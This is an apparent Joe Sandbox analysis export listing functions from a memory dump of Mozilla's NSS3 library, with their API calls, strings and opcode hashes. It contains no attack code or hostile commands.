Opcode ID: a6fb3cd1f4ecf80c88b17cf0243f96a491fd9aa98c841ce4cfde9eda6217b4be
Instruction ID: dec9fa59f45e9f9a4f3cee90864f2d521c9af6c4ae4b854f7057269b02ab02cd
Opcode Fuzzy Hash: a6fb3cd1f4ecf80c88b17cf0243f96a491fd9aa98c841ce4cfde9eda6217b4be
Instruction Fuzzy Hash: 2A21E030A043559BD7108F19C841B5AB7F2EF86308F148939D8699BFA1E771E9488BD2

Function 6CCCCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CCCCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CCCCC7B), ref: 6CCCCD7A
Part of subcall function 6CCCCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CCCCD8E
Part of subcall function 6CCCCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CCCCDA5
Part of subcall function 6CCCCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CCCCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CCCCCB5
memcpy.VCRUNTIME140(6CD614F4,6CD602AC,00000090), ref: 6CCCCCD3
memcpy.VCRUNTIME140(6CD61588,6CD602AC,00000090), ref: 6CCCCD2B

Part of subcall function 6CBE9AC0: socket.WSOCK32(?,00000017,6CBE99BE), ref: 6CBE9AE6
Part of subcall function 6CBE9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CBE99BE), ref: 6CBE9AFC

Part of subcall function 6CBF0590: closesocket.WSOCK32(6CBE9A8F,?,?,6CBE9A8F,00000000), ref: 6CBF0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CCCCCB0

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: aab8facf0c99a933e163b3916b99dc533dacd2f4d6a8d0a15e1d2a1c2204cb88
Instruction ID: 2c78c61e36a872d87bba940d42055aa8a148ddc09d45b750a7605686900a8283
Opcode Fuzzy Hash: aab8facf0c99a933e163b3916b99dc533dacd2f4d6a8d0a15e1d2a1c2204cb88
Instruction Fuzzy Hash: AB116DB1B082405FFB009B5BAC46766BABCA746358F101029E606CBF61E771D448CBE6

Function 6CC31CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CC31CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CC31CF1

Part of subcall function 6CD109D0: PR_Now.NSS3 ref: 6CD10A22
Part of subcall function 6CD109D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD10A35
Part of subcall function 6CD109D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD10A66
Part of subcall function 6CD109D0: PR_GetCurrentThread.NSS3 ref: 6CD10A70
Part of subcall function 6CD109D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD10A9D
Part of subcall function 6CD109D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD10AC8
Part of subcall function 6CD109D0: PR_vsmprintf.NSS3(?,?), ref: 6CD10AE8
Part of subcall function 6CD109D0: EnterCriticalSection.KERNEL32(?), ref: 6CD10B19
Part of subcall function 6CD109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD10B48
Part of subcall function 6CD109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD10C76
Part of subcall function 6CD109D0: PR_LogFlush.NSS3 ref: 6CD10C7E

Strings

pInitArgs = 0x%p, xrefs: 6CC31CEC
C_Initialize, xrefs: 6CC31CD3

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: 64c8fbfdc6f62504069bc1b79f956ca1d9e714519505a73821308f263c902921
Instruction ID: cce55d68ae4cfba2585d704b01d7abd59b4f4c8fab7eb73b49e2183ebc98d95f
Opcode Fuzzy Hash: 64c8fbfdc6f62504069bc1b79f956ca1d9e714519505a73821308f263c902921
Instruction Fuzzy Hash: BD019635201190DFFF029B5AFD4876533BDA7C3399F084065E60D92A21EB74E449C7B1

Function 6CB97F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB981DF
LeaveCriticalSection.KERNEL32(?), ref: 6CB98239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB98255
sqlite3_free.NSS3(00000000), ref: 6CB98260

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 1d80f071fcc8df1aefedf2881b5ddc97fb04f3831042ec6388e09a608b418753
Instruction ID: 0271baba9f7f455b3a5cf9ba5b24664b78fdc5578b42c3154416b04c4d0469f8
Opcode Fuzzy Hash: 1d80f071fcc8df1aefedf2881b5ddc97fb04f3831042ec6388e09a608b418753
Instruction Fuzzy Hash: A191CE31A01298CBEF04DFE5D8587ADBBB9FF07304F24013AD51A9BA50DB3A5945CB92

Function 6CC71D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CC71D8F

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC71DA6

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CC71E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC71ED0

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 6d391a5f06f023f989608fe6921a2e5135ad04fa7c977e078311468a7fa95de8
Instruction ID: 859eb337dfa8f60b1bf7a4ed63e4423e48484e7fd565b7f1c108c0fe043bbe2c
Opcode Fuzzy Hash: 6d391a5f06f023f989608fe6921a2e5135ad04fa7c977e078311468a7fa95de8
Instruction Fuzzy Hash: 52515975A002098FDB14CF99C894BAEB7BAFF45308F144129E81D9B750E731E945CBA0

Function 6CCC4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CBA85D2,00000000,?,?), ref: 6CCC4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC50D6

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: cabc1b8a27b17f6ac3e6a51fa52c5cb78a8aacbf2aea96f3fbdfb4ee117dc3c0
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 54417DB2A002118BDB18CF18DCD179AB7E1BF4431871D4669D84ACBB02F779E891CB91

Function 6CBEFFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CBEFDFE), ref: 6CBEFFAD

Part of subcall function 6CB8CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBEF9C9,?,6CBEF4DA,6CBEF9C9,?,?,6CBB369A), ref: 6CB8CA7A
Part of subcall function 6CB8CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB8CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CBEFDFE), ref: 6CBEFFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CBEFDFE), ref: 6CBF001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CBEFDFE), ref: 6CBF006F

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: b3b167897276529c76aabc18265cf37432837758bd10a6ec75987d418e86e4f0
Instruction ID: 4df372ced08c657bf8acd618b8d5c483a0d494392f17c88b8e2bdcce00c75ad7
Opcode Fuzzy Hash: b3b167897276529c76aabc18265cf37432837758bd10a6ec75987d418e86e4f0
Instruction Fuzzy Hash: C541C371F002599BEF04DFA5E885ABEB779FF46304F040129D91693B10EB399946CBA2

Function 6CC7CF00 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CC7D01E

Part of subcall function 6CC4E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC4E5A0

PK11_FreeSymKey.NSS3(00000000), ref: 6CC7D055

Part of subcall function 6CC4ADC0: TlsGetValue.KERNEL32(?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE10
Part of subcall function 6CC4ADC0: EnterCriticalSection.KERNEL32(?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE24
Part of subcall function 6CC4ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CC2D079,00000000,00000001), ref: 6CC4AE5A
Part of subcall function 6CC4ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE6F
Part of subcall function 6CC4ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE7F
Part of subcall function 6CC4ADC0: TlsGetValue.KERNEL32(?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AEB1
Part of subcall function 6CC4ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AEC9

PK11_PubUnwrapSymKey.NSS3(?,00000000,6CC7CC55,00000107,00000000), ref: 6CC7D079
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC7D08C

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_$CriticalEnterErrorSectionValue$DeriveFreeUnlockUnwrapWithfreememset
String ID:
API String ID: 324975836-0
Opcode ID: 2f490150e52feedb4214c48c571c1c9d55e1155b686e212abc4f556ce1b2368e
Instruction ID: 1a281a598491cedabe124a10ab91e243dadff4b7f97c7cec8ffd1748b1bfe916
Opcode Fuzzy Hash: 2f490150e52feedb4214c48c571c1c9d55e1155b686e212abc4f556ce1b2368e
Instruction Fuzzy Hash: A64181B1904219DBE720CF15CC44BA9F7F5FF44308F0586AAE90CA7751E771AA86CBA1

Function 6CC73D40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,-0000002C,?,6CC7127F,?), ref: 6CC73D89

Part of subcall function 6CC706F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6CC72E70,00000000), ref: 6CC70701

SECOID_FindOID_Util.NSS3(FFFFFFFF,?), ref: 6CC73DD3

Part of subcall function 6CC607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CC08298,?,?,?,6CBFFCE5,?), ref: 6CC607BF
Part of subcall function 6CC607B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC607E6
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC6081B
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC60825

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Error$HashLookupTableUtil$Alloc_ConstFind
String ID:
API String ID: 99596740-0
Opcode ID: 222c7c24fe662ccd2b002d15a8942fd9595021f7d83f317577b22dac64e82a2e
Instruction ID: c7a57716b5649de9ad9103c98039f20ad5c18badf684679942dc2d14d01870ae
Opcode Fuzzy Hash: 222c7c24fe662ccd2b002d15a8942fd9595021f7d83f317577b22dac64e82a2e
Instruction Fuzzy Hash: 5131E375A225249BE734862A9940BA97254FB9236CF2C0676DE15C7FD1FB21EC4082B2

Function 6CCD7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCD7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCD7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCD7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CCD7ED8

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: abba796132a0ba7cc31a77da1e885b18899551220f8279f09ff41549fb0f6bb2
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 6431A2B2A002118FDB04CF09D89499ABBA2BF8831871B8169C9585BF15FB71EC45CBD1

Function 6CC8DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CC13090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC2AE42), ref: 6CC130AA
Part of subcall function 6CC13090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC130C7
Part of subcall function 6CC13090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CC130E5
Part of subcall function 6CC13090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC13116
Part of subcall function 6CC13090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC1312B
Part of subcall function 6CC13090: PK11_DestroyObject.NSS3(?,?), ref: 6CC13154
Part of subcall function 6CC13090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC1317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CC8DBBD), ref: 6CC8DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC8DFEE

Part of subcall function 6CC286D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC28716
Part of subcall function 6CC286D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC28727
Part of subcall function 6CC286D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC2873B
Part of subcall function 6CC286D0: PR_Unlock.NSS3(?), ref: 6CC2876F
Part of subcall function 6CC286D0: PR_SetError.NSS3(00000000,00000000), ref: 6CC28787

Part of subcall function 6CC4F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CC4F854
Part of subcall function 6CC4F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CC4F868
Part of subcall function 6CC4F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CC4F882
Part of subcall function 6CC4F820: free.MOZGLUE(04C483FF,?,?), ref: 6CC4F889
Part of subcall function 6CC4F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CC4F8A4
Part of subcall function 6CC4F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CC4F8AB
Part of subcall function 6CC4F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CC4F8C9
Part of subcall function 6CC4F820: free.MOZGLUE(280F10EC,?,?), ref: 6CC4F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CC8DBBD), ref: 6CC8DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CC8DBBD), ref: 6CC8E007

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 61e48d63d0377ba9e3718690261166b7269c5b0ca997df6a6e5dbfe87f78c06c
Instruction ID: 5e51babf929d0d18324633645043aaa2c71b3d8e23e9e728cace2a952b54411f
Opcode Fuzzy Hash: 61e48d63d0377ba9e3718690261166b7269c5b0ca997df6a6e5dbfe87f78c06c
Instruction Fuzzy Hash: 60312BB1A0520257E700AA7AAC85A9B77B8AF4530CF050136EA09C7B03FF35D518D3E2

Function 6CC72C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6CC71289,?), ref: 6CC72D72

Part of subcall function 6CC73390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6CC72CA7,E80C76FF,?,6CC71289,?), ref: 6CC733E9
Part of subcall function 6CC73390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6CC7342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC71289,?), ref: 6CC72D61

Part of subcall function 6CC70B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC70B21
Part of subcall function 6CC70B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC70B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6CC71289,?), ref: 6CC72D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6CC71289,?), ref: 6CC72DAF

Part of subcall function 6CC2B8F0: PR_CallOnceWithArg.NSS3(6CD62178,6CC2BCF0,?), ref: 6CC2B915
Part of subcall function 6CC2B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6CC2B933
Part of subcall function 6CC2B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6CC2B9C8
Part of subcall function 6CC2B8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CC2B9E1

Part of subcall function 6CC70A50: SECOID_GetAlgorithmTag_Util.NSS3(6CC72A90,E8571076,?,6CC72A7C,6CC721F1,?,?,?,00000000,00000000,?,?,6CC721DD,00000000), ref: 6CC70A66

Part of subcall function 6CC73310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6CC72D1E,?,?,?,?,00000000,?,?,?,?,?,6CC71289), ref: 6CC73348

Part of subcall function 6CC706F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6CC72E70,00000000), ref: 6CC70701

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
